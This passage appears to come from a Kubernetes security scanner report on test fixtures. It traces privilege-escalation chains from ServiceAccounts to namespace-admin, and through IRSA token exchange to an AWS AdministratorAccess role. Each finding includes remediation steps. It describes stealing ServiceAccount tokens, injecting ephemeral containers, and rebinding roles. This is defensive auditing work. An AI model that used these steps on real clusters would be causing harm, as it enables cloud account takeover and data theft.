  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-readerServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 7.5
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeral -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/cloud-eks-test/eks-admin-irsa via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/cloud-eks-test/eks-admin-irsa via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 7.5
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-exec -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/cloud-eks-test/eks-admin-irsa via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/cloud-eks-test/eks-admin-irsa and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
MEDIUM ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 7.0
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escape -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (3 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/cloud-eks-test/eks-admin-irsa via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
3. ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/cloud-eks-test/eks-admin-irsa via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa.
  4. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  5. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH

Subjects can reach namespace-admin in `rbac-ns-fixtures` in 1 hop(s)

KUBE-PRIVESC-PATH-NAMESPACE-ADMIN 7 subjects Score 7.6–6.1
MITRE ATT&CK: T1078.004T1098T1068

Affected subjects (7)

HIGH ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate Namespace 7.6
ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate can reach namespace-admin in `rbac-ns-fixtures` in 1 hop(s)
Scope · Namespace Source ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/ via modify_role_binding (create,update,patch rolebindings): can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker abuses RoleBinding write access (create,update,patch rolebindings) to add themselves (or any subject they control) to a high-privilege ClusterRoleBinding, typically cluster-admin. They don't need the target role's permissions today, only the ability to change bindings.
  3. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create,update,patch rolebindings capability that enables hop 1 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-ns-fixtures:sa-ns-rolebinding-mutate (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create,update,patch rolebindings capability that enables hop 1 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Namespace 7.1
ServiceAccount/rbac-fixtures/sa-pod-create can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-pod-create → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
2. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/ via modify_role_binding (create,update,patch rolebindings): can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-pod-create yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-pod-create (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker abuses RoleBinding write access (create,update,patch rolebindings) to add themselves (or any subject they control) to a high-privilege ClusterRoleBinding, typically cluster-admin. They don't need the target role's permissions today, only the ability to change bindings.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create,update,patch rolebindings capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-fixtures:sa-pod-create (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create,update,patch rolebindings capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
